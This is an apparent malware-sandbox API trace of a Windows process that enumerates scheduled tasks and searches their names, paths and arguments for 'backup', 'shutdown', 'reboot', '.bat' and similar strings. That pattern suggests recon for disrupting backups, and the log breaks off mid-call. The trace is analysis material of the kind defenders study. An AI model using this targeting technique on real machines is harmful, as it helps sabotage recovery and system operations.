ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fe88) returned 0x0 [0130.278] IRegisteredTaskCollection:get_Count (in: This=0x47fe88, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=21) returned 0x0 [0130.278] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.278] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ActivateWindowsSearch") returned 0x0 [0130.278] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.279] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2c) returned 0x6cab40 [0130.280] wcsstr (_Str="activatewindowssearch", _SubStr="reboot") returned 0x0 [0130.280] wcsstr (_Str="activatewindowssearch", _SubStr="restart") returned 0x0 [0130.280] wcsstr (_Str="activatewindowssearch", _SubStr="shutdown") returned 0x0 [0130.280] wcsstr (_Str="activatewindowssearch", _SubStr="logoff") returned 0x0 [0130.280] wcsstr (_Str="activatewindowssearch", _SubStr=".bat") returned 0x0 [0130.280] wcsstr (_Str="activatewindowssearch", _SubStr="backup") returned 0x0 [0130.280] wcsstr (_Str="activatewindowssearch", _SubStr=".cmd") returned 0x0 [0130.280] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab40) returned 1 [0130.280] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600c0) returned 0x0 [0130.289] ITaskDefinition:get_Actions (in: This=0x24600c0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460138) returned 0x0 [0130.290] IActionCollection:get_Count (in: This=0x2460138, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.290] IActionCollection:get_Item (in: This=0x2460138, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460888) returned 0x0 [0130.290] IAction:get_Type (in: This=0x2460888, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.290] IUnknown:QueryInterface (in: This=0x2460888, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460888) returned 0x0 [0130.290] IExecAction:get_Path (in: This=0x2460888, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.290] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.290] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.290] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.290] IExecAction:get_Arguments (in: This=0x2460888, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoActivateWindowsSearch") returned 0x0 [0130.290] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0130.290] wcsstr (_Str="/doactivatewindowssearch", _SubStr="reboot") returned 0x0 [0130.290] wcsstr (_Str="/doactivatewindowssearch", _SubStr="restart") returned 0x0 [0130.290] wcsstr (_Str="/doactivatewindowssearch", _SubStr="shutdown") returned 0x0 [0130.291] wcsstr (_Str="/doactivatewindowssearch", _SubStr="logoff") returned 0x0 [0130.291] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".bat") returned 0x0 [0130.291] wcsstr (_Str="/doactivatewindowssearch", _SubStr="backup") returned 0x0 [0130.291] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".cmd") returned 0x0 [0130.291] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0130.293] IUnknown:Release (This=0x2460888) returned 0x2 [0130.293] IUnknown:Release (This=0x2460888) returned 0x1 [0130.293] IUnknown:Release (This=0x2460138) returned 0x1 [0130.293] IUnknown:Release (This=0x24600c0) returned 0x0 [0130.293] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.293] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.293] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ConfigureInternetTimeService") returned 0x0 [0130.293] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.296] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3a) returned 0x6c2938 [0130.296] wcsstr (_Str="configureinternettimeservice", _SubStr="reboot") returned 0x0 [0130.296] wcsstr (_Str="configureinternettimeservice", _SubStr="restart") returned 0x0 [0130.296] wcsstr (_Str="configureinternettimeservice", _SubStr="shutdown") returned 0x0 [0130.296] wcsstr (_Str="configureinternettimeservice", _SubStr="logoff") returned 0x0 [0130.296] wcsstr (_Str="configureinternettimeservice", _SubStr=".bat") returned 0x0 [0130.296] wcsstr (_Str="configureinternettimeservice", _SubStr="backup") returned 0x0 [0130.296] wcsstr (_Str="configureinternettimeservice", _SubStr=".cmd") returned 0x0 [0130.296] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0130.296] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2460048) returned 0x0 [0130.301] ITaskDefinition:get_Actions (in: This=0x2460048, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24600c0) returned 0x0 [0130.301] IActionCollection:get_Count (in: This=0x24600c0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.301] IActionCollection:get_Item (in: This=0x24600c0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460810) returned 0x0 [0130.301] IAction:get_Type (in: This=0x2460810, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.301] IUnknown:QueryInterface (in: This=0x2460810, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460810) returned 0x0 [0130.301] IExecAction:get_Path (in: This=0x2460810, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.302] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.302] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.302] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.302] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.302] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.302] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.302] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.302] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.302] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.302] IExecAction:get_Arguments (in: This=0x2460810, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoConfigureInternetTimeService") returned 0x0 [0130.302] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2938 [0130.302] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="reboot") returned 0x0 [0130.302] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="restart") returned 0x0 [0130.302] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="shutdown") returned 0x0 [0130.302] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="logoff") returned 0x0 [0130.302] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".bat") returned 0x0 [0130.302] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="backup") returned 0x0 [0130.302] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".cmd") returned 0x0 [0130.302] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0130.302] IUnknown:Release (This=0x2460810) returned 0x2 [0130.302] IUnknown:Release (This=0x2460810) returned 0x1 [0130.302] IUnknown:Release (This=0x24600c0) returned 0x1 [0130.302] IUnknown:Release (This=0x2460048) returned 0x0 [0130.302] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.302] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.303] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="DispatchRecoveryTasks") returned 0x0 [0130.303] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.304] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2c) returned 0x6cab40 [0130.304] wcsstr (_Str="dispatchrecoverytasks", _SubStr="reboot") returned 0x0 [0130.304] wcsstr (_Str="dispatchrecoverytasks", _SubStr="restart") returned 0x0 [0130.304] wcsstr (_Str="dispatchrecoverytasks", _SubStr="shutdown") returned 0x0 [0130.304] wcsstr (_Str="dispatchrecoverytasks", _SubStr="logoff") returned 0x0 [0130.304] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".bat") returned 0x0 [0130.304] wcsstr (_Str="dispatchrecoverytasks", _SubStr="backup") returned 0x0 [0130.304] wcsstr (_Str="dispatchrecoverytasks", _SubStr=".cmd") returned 0x0 [0130.304] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab40) returned 1 [0130.304] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600c0) returned 0x0 [0130.310] ITaskDefinition:get_Actions (in: This=0x24600c0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460138) returned 0x0 [0130.310] IActionCollection:get_Count (in: This=0x2460138, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.310] IActionCollection:get_Item (in: This=0x2460138, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460888) returned 0x0 [0130.310] IAction:get_Type (in: This=0x2460888, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.310] IUnknown:QueryInterface (in: This=0x2460888, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460888) returned 0x0 [0130.310] IExecAction:get_Path (in: This=0x2460888, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.311] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.311] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.311] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.311] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.311] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.311] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.311] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.311] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.311] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.311] IExecAction:get_Arguments (in: This=0x2460888, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoRecoveryTasks $(Arg0)") returned 0x0 [0130.311] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0130.311] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="reboot") returned 0x0 [0130.311] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="restart") returned 0x0 [0130.311] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="shutdown") returned 0x0 [0130.311] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="logoff") returned 0x0 [0130.311] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".bat") returned 0x0 [0130.311] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="backup") returned 0x0 [0130.311] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".cmd") returned 0x0 [0130.311] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0130.311] IUnknown:Release (This=0x2460888) returned 0x2 [0130.311] IUnknown:Release (This=0x2460888) returned 0x1 [0130.311] IUnknown:Release (This=0x2460138) returned 0x1 [0130.311] IUnknown:Release (This=0x24600c0) returned 0x0 [0130.311] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.311] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.312] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ehDRMInit") returned 0x0 [0130.312] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.313] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.313] wcsstr (_Str="ehdrminit", _SubStr="reboot") returned 0x0 [0130.313] wcsstr (_Str="ehdrminit", _SubStr="restart") returned 0x0 [0130.313] wcsstr (_Str="ehdrminit", _SubStr="shutdown") returned 0x0 [0130.313] wcsstr (_Str="ehdrminit", _SubStr="logoff") returned 0x0 [0130.313] wcsstr (_Str="ehdrminit", _SubStr=".bat") returned 0x0 [0130.313] wcsstr (_Str="ehdrminit", _SubStr="backup") returned 0x0 [0130.313] wcsstr (_Str="ehdrminit", _SubStr=".cmd") returned 0x0 [0130.313] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.313] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.318] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.318] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.318] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460878) returned 0x0 [0130.318] IAction:get_Type (in: This=0x2460878, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.319] IUnknown:QueryInterface (in: This=0x2460878, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460878) returned 0x0 [0130.319] IExecAction:get_Path (in: This=0x2460878, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.319] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.319] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.319] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.319] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.319] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.319] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.319] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.319] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.319] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.319] IExecAction:get_Arguments (in: This=0x2460878, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DRMInit") returned 0x0 [0130.319] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e69b0 [0130.319] wcsstr (_Str="/drminit", _SubStr="reboot") returned 0x0 [0130.319] wcsstr (_Str="/drminit", _SubStr="restart") returned 0x0 [0130.319] wcsstr (_Str="/drminit", _SubStr="shutdown") returned 0x0 [0130.319] wcsstr (_Str="/drminit", _SubStr="logoff") returned 0x0 [0130.319] wcsstr (_Str="/drminit", _SubStr=".bat") returned 0x0 [0130.319] wcsstr (_Str="/drminit", _SubStr="backup") returned 0x0 [0130.319] wcsstr (_Str="/drminit", _SubStr=".cmd") returned 0x0 [0130.319] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.319] IUnknown:Release (This=0x2460878) returned 0x2 [0130.319] IUnknown:Release (This=0x2460878) returned 0x1 [0130.319] IUnknown:Release (This=0x2460128) returned 0x1 [0130.319] IUnknown:Release (This=0x24600b0) returned 0x0 [0130.319] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.319] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.320] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="InstallPlayReady") returned 0x0 [0130.320] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.321] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0130.321] wcsstr (_Str="installplayready", _SubStr="reboot") returned 0x0 [0130.321] wcsstr (_Str="installplayready", _SubStr="restart") returned 0x0 [0130.321] wcsstr (_Str="installplayready", _SubStr="shutdown") returned 0x0 [0130.321] wcsstr (_Str="installplayready", _SubStr="logoff") returned 0x0 [0130.322] wcsstr (_Str="installplayready", _SubStr=".bat") returned 0x0 [0130.322] wcsstr (_Str="installplayready", _SubStr="backup") returned 0x0 [0130.322] wcsstr (_Str="installplayready", _SubStr=".cmd") returned 0x0 [0130.322] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0130.322] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600c0) returned 0x0 [0130.339] ITaskDefinition:get_Actions (in: This=0x24600c0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460138) returned 0x0 [0130.339] IActionCollection:get_Count (in: This=0x2460138, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.339] IActionCollection:get_Item (in: This=0x2460138, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2460888) returned 0x0 [0130.339] IAction:get_Type (in: This=0x2460888, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.339] IUnknown:QueryInterface (in: This=0x2460888, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2460888) returned 0x0 [0130.339] IExecAction:get_Path (in: This=0x2460888, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0130.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7220 [0130.339] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0130.339] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0130.339] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0130.339] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0130.340] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0130.340] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0130.340] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0130.340] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7220) returned 1 [0130.340] IExecAction:get_Arguments (in: This=0x2460888, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/InstallPlayReady $(Arg0)") returned 0x0 [0130.340] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x34) returned 0x6c9c90 [0130.340] wcsstr (_Str="/installplayready $(arg0)", _SubStr="reboot") returned 0x0 [0130.340] wcsstr (_Str="/installplayready $(arg0)", _SubStr="restart") returned 0x0 [0130.340] wcsstr (_Str="/installplayready $(arg0)", _SubStr="shutdown") returned 0x0 [0130.340] wcsstr (_Str="/installplayready $(arg0)", _SubStr="logoff") returned 0x0 [0130.341] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".bat") returned 0x0 [0130.341] wcsstr (_Str="/installplayready $(arg0)", _SubStr="backup") returned 0x0 [0130.341] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".cmd") returned 0x0 [0130.341] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0130.341] IUnknown:Release (This=0x2460888) returned 0x2 [0130.341] IUnknown:Release (This=0x2460888) returned 0x1 [0130.341] IUnknown:Release (This=0x2460138) returned 0x1 [0130.341] IUnknown:Release (This=0x24600c0) returned 0x0 [0130.341] IUnknown:Release (This=0x47ff70) returned 0x0 [0130.341] IRegisteredTaskCollection:get_Item (in: This=0x47fe88, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47ff70) returned 0x0 [0130.341] IRegisteredTask:get_Name (in: This=0x47ff70, pName=0x5cf9f8 | out: pName=0x5cf9f8*="mcupdate") returned 0x0 [0130.341] IRegisteredTask:get_State (in: This=0x47ff70, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0130.382] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e69b0 [0130.382] wcsstr (_Str="mcupdate", _SubStr="reboot") returned 0x0 [0130.382] wcsstr (_Str="mcupdate", _SubStr="restart") returned 0x0 [0130.382] wcsstr (_Str="mcupdate", _SubStr="shutdown") returned 0x0 [0130.382] wcsstr (_Str="mcupdate", _SubStr="logoff") returned 0x0 [0130.382] wcsstr (_Str="mcupdate", _SubStr=".bat") returned 0x0 [0130.382] wcsstr (_Str="mcupdate", _SubStr="backup") returned 0x0 [0130.382] wcsstr (_Str="mcupdate", _SubStr=".cmd") returned 0x0 [0130.382] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.382] IRegisteredTask:get_Definition (in: This=0x47ff70, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x24600b0) returned 0x0 [0130.395] ITaskDefinition:get_Actions (in: This=0x24600b0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460128) returned 0x0 [0130.395] IActionCollection:get_Count (in: This=0x2460128, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0130.395] IActionCollection:get_Item (in: This=0x2460128, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24608b8) returned 0x0 [0130.395] IAction:get_Type (in: This=0x24608b8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0130.395] IUnknown:QueryInterface (in: This=0x24608b8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24608b8) returned 0x0 [0130.395] IExecAction:get_Path (in: This=0x24608b8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate") returned 0x0 [0130.395] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x38) returned 0x6c9c90 [0130.395] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="reboot") returned 0x0 [0130.395] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="restart") returned 0x0 [0130.395] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="shutdown") returned 0x0 [0130.395] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="logoff") returned 0x0 [0130.395] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".bat") returned 0x0 [0130.395] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="backup") returned 0x0 [0130.395] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".cmd") returned 0x0 [0130.395] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0130.395] IExecAction:get_Arguments (in: This=0x24608b8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="$(Arg0)") returned 0x0 [0130.395] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea5a8 [0130.395] wcsstr (_Str="$(arg0)", _SubStr="reboot") returned 0x0 [0130.395] wcsstr (_Str="$(arg0)", _SubStr="restart") returned 0x0 [0130.395] wcsstr (_Str="$(arg0)", _SubStr="shutdown") returned 0x0 [0130.395] wcsstr (_Str="$(arg0)", _SubStr="logoff") returned 0x0 [0130.396] wcsstr (_Str="$(arg0)", _SubStr=".bat") returned 0x0 [0130.396] wcsstr (_Str="$(arg0)", _SubStr="backup") returned 0x0 [0130.396] wcsstr (_Str="$(arg0)", _SubStr=".cmd") returned 0x0 [0130.396] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea5a8) 